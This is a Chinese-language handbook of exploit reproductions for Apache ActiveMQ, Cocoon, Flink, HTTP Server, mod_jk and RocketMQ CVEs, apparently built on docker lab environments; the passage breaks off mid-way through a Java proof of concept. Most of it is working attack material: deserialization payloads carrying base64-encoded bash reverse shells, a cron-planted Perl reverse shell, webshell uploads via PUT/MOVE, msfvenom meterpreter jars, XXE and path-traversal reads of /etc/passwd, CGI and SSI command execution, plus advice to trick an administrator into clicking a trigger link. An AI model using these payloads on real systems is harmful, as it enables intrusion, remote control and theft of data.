web服务器与中间件

Apache-activemq

CVE-2015-5254

ActiveMQ 反序列化漏洞（CVE-2015-5254）

Apache ActiveMQ是美国阿帕奇（Apache）软件基金会所研发的一套开源的消息中间件，它支持Java消息服务、集群、Spring Framework等。

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞，该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

参考链接：

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

漏洞影响

Apache ActiveMQ 5.13.0之前5.x版本

漏洞环境

运行漏洞环境：

docker compose up -d

环境运行后，将监听61616和8161两个端口。其中61616是工作端口，消息在这个端口进行传递；8161是Web管理页面端口。访问http://your-ip:8161即可看到web管理页面，不过这个漏洞理论上是不需要web的。

漏洞复现

漏洞利用过程如下：

构造（可以使用ysoserial）可执行命令的序列化对象
作为一个消息，发送给目标61616端口
访问web管理页面，读取消息，触发漏洞

使用jmet进行漏洞利用。首先下载jmet的jar文件，并在同目录下创建一个external文件夹（否则可能会爆文件夹不存在的错误）。

jmet原理是使用ysoserial生成Payload并发送（其jar内自带ysoserial，无需再自己下载），所以我们需要在ysoserial是gadget中选择一个可以使用的，比如ROME。

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
mkdir external

对目标发送一个生成/tmp/vuln的 payload

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/vuln" -Yp ROME xxx.xxx.xxx.xxx 61616

访问 http://xxx.xxx.xxx.xxx:8161/admin/browse.jsp?JMSDestination=event 可以看到多了一条消息队列

点击这个信息触发文件创建

成功执行命令创建文件，也可以创建一个反弹shell的payload

bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9999 0>&1  (base64编码)
YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvOTk5OSAwPiYx

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}

发送payload
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME xxx.xxx.xxx.xxx 61616

同样点击消息队列会触发命令执行

值得注意的是，通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下，我们可以诱导管理员访问我们的链接以触发，或者伪装成其他合法服务需要的消息，等待客户端访问的时候触发。

CVE-2016-3088

ActiveMQ任意文件写入漏洞（CVE-2016-3088）

环境搭建

搭建及运行漏洞环境：

docker compose build
docker compose up -d

环境监听61616端口和8161端口，其中8161为web控制台端口，本漏洞就出现在web控制台中。

访问http://your-ip:8161/看到web页面，说明环境已成功运行。

背景简述

ActiveMQ的web控制台分三个应用，admin、api和fileserver，其中admin是管理员页面，api是接口，fileserver是储存文件的接口；admin和api都需要登录后才能使用，fileserver无需登录。

fileserver是一个RESTful API接口，我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作，其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷，但后来发现：

其使用率并不高
文件操作容易出现漏洞

所以，ActiveMQ在5.12.x~5.13.x版本中，已经默认关闭了fileserver这个应用（你可以在conf/jetty.xml中开启之）；在5.14.0版本以后，彻底删除了fileserver应用。

在测试过程中，可以关注ActiveMQ的版本，避免走弯路。

漏洞详情

本漏洞出现在fileserver应用中，漏洞原理其实非常简单，就是fileserver支持写入文件（但不解析jsp），同时支持移动文件（MOVE请求）。所以，我们只需要写入一个文件，然后使用MOVE请求将其移动到任意位置，造成任意文件写入漏洞。

文件写入有几种利用方法：

写入webshell
写入cron或ssh key等文件
写入jar或jetty.xml等库和配置文件

写入webshell的好处是，门槛低更方便，但前面也说了fileserver不解析jsp，admin和api两个应用都需要登录才能访问，所以有点鸡肋；写入cron或ssh key，好处是直接反弹拿shell，也比较方便，缺点是需要root权限；写入jar，稍微麻烦点（需要jar的后门），写入xml配置文件，这个方法比较靠谱，但有个鸡肋点是：我们需要知道activemq的绝对路径。

分别说一下上述几种利用方法。

写入webshell

前面说了，写入webshell，需要写在admin或api应用中，而这俩应用都需要登录才能访问。

默认的ActiveMQ账号密码均为admin，首先访问http://your-ip:8161/admin/test/systemProperties.jsp，查看ActiveMQ的绝对路径：

然后上传webshell：

PUT /fileserver/2.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 120976

webshell...

移动到web目录下的api文件夹（/opt/activemq/webapps/api/s.jsp）中：

MOVE /fileserver/2.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/s.jsp
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

访问webshell（需要登录）：

写入crontab，自动化弹shell

这是一个比较稳健的方法。首先上传cron配置文件（注意，换行一定要\n，不能是\r\n，否则crontab执行会失败）：

PUT /fileserver/1.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

将其移动到/etc/cron.d/root：

MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

如果上述两个请求都返回204了，说明写入成功。等待反弹shell：

这个方法需要ActiveMQ是root运行，否则也不能写入cron文件。

写入jetty.xml或jar

理论上我们可以覆盖jetty.xml，将admin和api的登录限制去掉，然后再写入webshell。

有的情况下，jetty.xml和jar的所有人是web容器的用户，所以相比起来，写入crontab成功率更高一点。

尚未测试。

CVE-2022-41678

Apache ActiveMQ Jolokia 后台远程代码执行漏洞（CVE-2022-41678）

Apache ActiveMQ 是美国阿帕奇（Apache）软件基金会所研发的一套开源的消息中间件，它支持Java消息服务、集群、Spring Framework等。

Apache ActiveMQ 在5.16.5, 5.17.3版本及以前，后台Jolokia存在一处任意文件写入导致的远程代码执行漏洞。

参考链接：

漏洞环境

执行如下命令启动一个Apache ActiveMQ 5.17.3服务器：

docker compose up -d

服务启动后，访问http://your-ip:8161/后输入账号密码admin和admin，即可成功登录后台。

漏洞复现

首先，访问/api/jolokia/list这个API可以查看当前服务器里所有的MBeans：

GET /api/jolokia/list HTTP/1.1
Host: localhost:8161
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Connection: close
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Origin: http://localhost

这其中有两个可以被用来执行任意代码。

方法1

第一个方法是使用org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean，这是由Log4j2提供的一个MBean。

攻击者使用这个MBean中的setConfigText操作可以更改Log4j的配置，进而将日志文件写入任意目录中。

使用poc脚本来复现完整的过程：

python poc.py -u admin -p admin http://your-ip:8161

Webshell被写入在/admin/shell.jsp文件中：

这个方法受到ActiveMQ版本的限制，因为Log4j2是在5.17.0中才引入Apache ActiveMQ。

方法2

第二个可利用的Mbean是jdk.management.jfr.FlightRecorderMXBean。

FlightRecorder是在OpenJDK 11中引入的特性，被用于记录Java虚拟机的运行事件。利用这个功能，攻击者可以将事件日志写入任意文件。

使用poc脚本来复现完整的过程（使用--exploit参数指定使用的方法）：

python poc.py -u admin -p admin --exploit jfr http://localhost:8161

Webshell被写入在/admin/shelljfr.jsp文件中：

CVE-2023-46604

Apache ActiveMQ OpenWire 协议反序列化命令执行漏洞（CVE-2023-46604）

Apache ActiveMQ 是美国阿帕奇（Apache）软件基金会所研发的一套开源的消息中间件，它支持Java消息服务、集群、Spring Framework等。

OpenWire协议在ActiveMQ中被用于多语言客户端与服务端通信。在Apache ActiveMQ 5.18.2版本及以前，OpenWire协议通信过程中存在一处反序列化漏洞，该漏洞可以允许具有网络访问权限的远程攻击者通过操作 OpenWire 协议中的序列化类类型，导致代理的类路径上的任何类实例化，从而执行任意命令。

参考链接：

环境搭建

ActiveMQ运行后，默认监听如下两个端口：

默认端口	默认条件
8161 web	需配置才可远程访问
61616 tcp	远程访问

反序列化漏洞出现在61616端口中。

执行如下命令启动一个ActiveMQ 5.17.3版本服务器：

docker compose up -d

服务启动后，访问http://your-ip:8161检查服务是否运行成功。但实际上利用该漏洞，并不需要能够访问8161端口。

漏洞复现

首先，启动一个HTTP反连服务器，其中包含我们的poc.xml：

python3 -m http.server 6666

然后，执行poc.py，传入的三个参数分别是目标服务器地址、端口，以及包含poc.xml的反连平台URL：

python3 poc.py target port http://ip of http server/poc.xml

执行完成后，进入ActiveMQ容器：

docker exec cve-2023-46604-activemq-1 ls -l /tmp

可见，touch /tmp/activeMQ-RCE-success已经被成功执行：

Apache-Cocoon

CVE-2020-11991

Apache Cocoon XML注入

漏洞描述

9月11日 Apache 软件基金会发布安全公告，修复了 Apache Cocoon xml外部实体注入漏洞（CVE-2020-11991）。

Apache Cocoon 是一个基于 Spring 框架的围绕分离理念建立的构架，在这种框架下的所有处理都被预先定义好的处理组件线性连接起来，能够将输入和产生的输出按照流水线顺序处理。用户群：Apache Lenya、Daisy CMS、Hippo CMS、Mindquarry等等，Apache Cocoon 通常被作为一个数据抽取、转换、加载工具或者是系统之间传输数据的中转站。CVE-2020-11991 与 StreamGenerator 有关，在使用 StreamGenerator 时，代码将解析用户提供的 xml。攻击者可以使用包括外部系统实体在内的特制 xml 来访问服务器系统上的任何文件.

影响版本

Apache Cocoon <= 2.1.12

网络测绘

app="Apache-Cocoon"

漏洞复现

验证POC

POST /v2/api/product/manger/getInfo 

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<userInfo>
<firstName>John</firstName> 
<lastName>&ent;</lastName>
</userInfo>

Apache-Flink

CVE-2020-17519

Apache Flink jobmanager 目录遍历漏洞

漏洞描述

2021年01月06日，360CERT监测发现Apache Flink发布了Apache Flink 目录穿越漏洞,目录穿越漏洞的风险通告，漏洞编号为CVE-2020-17518,CVE-2020-17519，漏洞等级：高危，漏洞评分：8.5。
远程攻击者通过REST API目录遍历，可造成文件读取/写入的影响。

漏洞影响

Apache Flink 1.11.0

Apache Flink 1.11.1

Apache Flink 1.11.2

网络测绘

FOFA: app="Apache Flink"

环境搭建

06d235d4-965d-44e0-91c0-dc69b97bf48d

漏洞复现

验证POC

/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

a87cedc1-5a40-42bb-a377-9bdb03fad242

Apache Flink upload 远程命令执行漏洞 CVE-2020-17518

漏洞描述

近日,有安全研究员公开了一个Apache Flink的任意Jar包上传导致远程代码执行的漏洞，攻击者通过漏洞可以获取系统权限

漏洞影响

Apache Flink <= 1.9.1

网络测绘

FOFA: app="Apache Flink"

环境搭建

06d235d4-965d-44e0-91c0-dc69b97bf48d

漏洞复现

点击查看文件上传页面

bb05ef9f-f86f-4bb5-bbcb-c13424d7aca4

打开MSF 生成一个 jar 木马

msfvenom -p java/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx  LPORT=4444 -f jar > test.jar

点击 Add 上传 jar 文件

1fcaa45f-0492-4411-b14f-e4554cf84e5b

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload java/shell/reverse_tcp
payload => java/shell/reverse_tcp
msf6 exploit(multi/handler) > set lhost xxx.xxx.xxx.xxx
lhost => xxx.xxx.xxx.xxx
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run

3def5e8c-6590-4ecd-8b61-dfcb095bdaa0

点击下 submit

681f48a7-3501-4f52-8532-5efddcc0074f

Apache-httpd

apache_parsing-vulnerability

Apache HTTPD 多后缀解析漏洞

Apache HTTPD 支持一个文件拥有多个后缀，并为不同后缀执行不同的指令。比如，如下配置文件：

AddType text/html .html
AddLanguage zh-CN .cn

其给.html后缀增加了media-type，值为text/html；给.cn后缀增加了语言，值为zh-CN。此时，如果用户请求文件index.cn.html，他将返回一个中文的html页面。

以上就是Apache多后缀的特性。如果运维人员给.php后缀增加了处理器：

AddHandler application/x-httpd-php .php

那么，在有多个后缀的情况下，只要一个文件含有.php后缀的文件即将被识别成PHP文件，没必要是最后一个后缀。利用这个特性，将会造成一个可以绕过上传白名单的解析漏洞。

漏洞环境

运行如下命令启动一个稳定版Apache，并附带PHP 7.3环境：

docker compose up -d

漏洞复现

环境运行后，访问http://your-ip/uploadfiles/apache.php.jpeg即可发现，phpinfo被执行了，该文件被解析为php脚本。

http://your-ip/index.php中是一个白名单检查文件后缀的上传组件，上传完成后并未重命名。我们可以通过上传文件名为xxx.php.jpg或xxx.php.jpeg的文件，利用Apache解析漏洞进行getshell。

CVE-2017-15715

Apache HTTPD 换行解析漏洞（CVE-2017-15715）

Apache HTTPD是一款HTTP服务器，它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞，在解析PHP时，1.php\x0A将被按照PHP后缀进行解析，导致绕过一些服务器的安全策略。

漏洞影响

Apache HTTPd 2.4.0~2.4.29版本

网络测绘

server="Apache/2.4.49"

漏洞环境

编译及运行漏洞环境：

docker compose build
docker compose up -d

启动后Apache运行在http://your-ip:8080。

漏洞复现

上传一个名为1.php的文件，被拦截：

在1.php后面插入一个\x0A（注意，不能是\x0D\x0A，只能是一个\x0A），不再拦截：

访问刚才上传的/1.php%0a，发现能够成功解析，但这个文件不是php后缀，说明目标存在解析漏洞：

CVE-2021-40438

Apache HTTP Server 2.4.48 mod_proxy SSRF漏洞（CVE-2021-40438）

Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.48及以前的版本中，mod_proxy模块存在一处逻辑错误导致攻击者可以控制反向代理服务器的地址，进而导致SSRF漏洞。

参考链接：

漏洞环境

执行如下命令编译及运行一个Apache HTTP Server 2.4.43服务器：

docker compose build
docker compose up -d

服务器启动后，访问可以看到一个Apache Tomcat的示例页面，此时Apache HTTP Server是以中间反代服务器的身份，运行在客户端（用户）和后端服务器（Tomcat）之间，Apache和Tomcat通过AJP协议进行通信。

漏洞复现

发送如下数据包，可见我们已经成功请求到http://example.com的页面并返回：

GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://example.com/ HTTP/1.1
Host: 192.168.1.162:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close

CVE-2021-41773

Apache HTTP Server 2.4.49 路径穿越漏洞（CVE-2021-41773）

Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.49版本中，引入了一个路径穿越漏洞，满足下面两个条件的Apache服务器将会受到影响：

版本等于2.4.49
穿越的目录允许被访问，比如配置了<Directory />Require all granted</Directory>。（默认情况下是不允许的）

攻击者利用这个漏洞，可以读取位于Apache服务器Web目录以外的其他文件，或者读取Web目录中的脚本文件源码，或者在开启了cgi或cgid的服务器上执行任意命令。

参考链接：

漏洞影响

Apache HTTPd 2.4.49~2.4.50版本

网络测绘

server="Apache/2.4.49"

漏洞环境

执行如下命令编译及运行一个存在漏洞的Apache HTTPd 2.4.49版本服务器：

docker compose build
docker compose up -d

环境启动后，访问http://your-ip:8080即可看到Apache默认的It works!页面。

漏洞利用

使用如下CURL命令来发送Payload（注意其中的/icons/必须是一个存在且可访问的目录）：

curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

可见，成功读取到/etc/passwd：

在服务端开启了cgi或cgid这两个mod的情况下，这个路径穿越漏洞将可以执行任意命令：

curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

开启CGI的情况下可RCE

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
  
B=|id>/tmp/id_txt

CVE-2021-42013

Apache HTTP Server 2.4.50 路径穿越漏洞（CVE-2021-42013）

Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。Apache官方在2.4.50版本中对2.4.49版本中出现的目录穿越漏洞CVE-2021-41773进行了修复，但这个修复是不完整的，CVE-2021-42013是对补丁的绕过。

这个漏洞可以影响Apache HTTP Server 2.4.49以及2.4.50两个版本。

参考链接：

漏洞影响

Apache HTTPd 2.4.49~2.4.50版本

网络测绘

server="Apache/2.4.49"

漏洞环境

执行如下命令编译及运行一个存在漏洞的Apache HTTP Server 2.4.50版本服务器：

docker compose build
docker compose up -d

环境启动后，访问http://your-ip:8080即可看到Apache默认的It works!页面。

漏洞利用

我们使用CVE-2021-41773中的Payload已经无法成功利用漏洞了，说明2.4.50进行了修复。

但我们可以使用.%%32%65进行绕过（注意其中的/icons/必须是一个存在且可访问的目录）：

curl -v --path-as-is http://your-ip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

可见，成功读取到/etc/passwd：

在服务端开启了cgi或cgid这两个mod的情况下，这个路径穿越漏洞将可以执行任意命令：

curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd

ssi-rce

Apache SSI 远程命令执行漏洞

在测试任意文件上传漏洞的时候，目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持，我们可以上传一个shtml文件，并利用语法执行任意命令。

参考链接：

漏洞环境

运行一个支持SSI与CGI的Apache服务器：

docker compose up -d

环境启动后，访问http://your-ip:8080/upload.php，即可看到一个上传表单。

漏洞复现

正常上传PHP文件是不允许的，我们可以上传一个shell.shtml文件：

<!--#exec cmd="ls" -->

成功上传，然后访问shell.shtml，可见命令已成功执行：

Apache-Mod_jk

CVE-2018-11759

访问控制权限绕过

漏洞描述

Apache Tomcat JK（mod_jk）Connector是美国阿帕奇（Apache）软件基金会的一款为Apache或IIS提供连接后台Tomcat的模块，用以为Apache或IIS服务器提供处理JSP/Servlet的能力。

由于httpd和Tomcat在路径处理规范上存在差异，因此可以绕过Apache mod_jk Connector 1.2.0版本到1.2.44版本上由JkMount httpd指令所定义端点的访问控制限制。
如果一个只有只读权限的jkstatus的接口可以访问的话，那么就有可能能够公开由mod_jk模块给AJP提供服务的内部路由。
如果一个具有读写权限的jkstatus接口可供访问，我们就能通过修改AJP的配置文件中相关配置来劫持或者截断所有经过mod_jk的流量，又或者进行内部的端口扫描。

影响版本

Apache Mod_jk Connector 1.2.0 ~ 1.2.44

环境搭建

git clone https://github.com/immunIT/CVE-2018-11759.git
docker-conpose up -d

漏洞复现

访问 http://xxx.xxx.xxx.xxx/jkstatus 显示无权限访问

You don't have permission to access /jkstatus on this server.

792b1dd1-a89f-497a-b43b-bae73a7ceff0

访问 http://xxx.xxx.xxx.xxx/jkstatus; 即可绕过

Apache-RocketMQ

CVE-2023-33246

Apache RocketMQ 远程命令执行漏洞（CVE-2023-33246）

Apache RocketMQ是一个分布式消息平台。

在其5.1.0版本及以前存在一处命令执行漏洞，攻击者通过向其更新配置相关的功能发送指令即可更新任意配置项，并通过配置项中存在的命令注入功能执行任意命令。

参考链接：

启动

执行如下命令启动一个RocketMQ 5.1.0:

docker compose up -d

漏洞复现

使用IDEA或Eclipse等IDE新建一个Maven项目，导入依赖：

<dependencies>
    <!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->
    <dependency>
        <groupId>org.apache.rocketmq</groupId>
        <artifactId>rocketmq-tools</artifactId>
        <version>5.1.0</version>
    </dependency>
</dependencies>

PoC如下：

import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;

import java.util.Base64;
import java.util.Properties;

public class Main {
    private static String getCmd(String ip, String port) {
        String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";
        String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());
        return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";
    }

    public static void main(String[] args) throws Exception {
        String targetHost = "192.168.227.128";
        String targetPort = "10911";

        String shellHost = "192.168.227.128";
        String shellPort = "12345";

        String targetAddr = String.format("%s:%s",targetHost,targetPort);
        Properties props = new Properties();
        props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));
        props.setProperty("filterServerNums", "1");
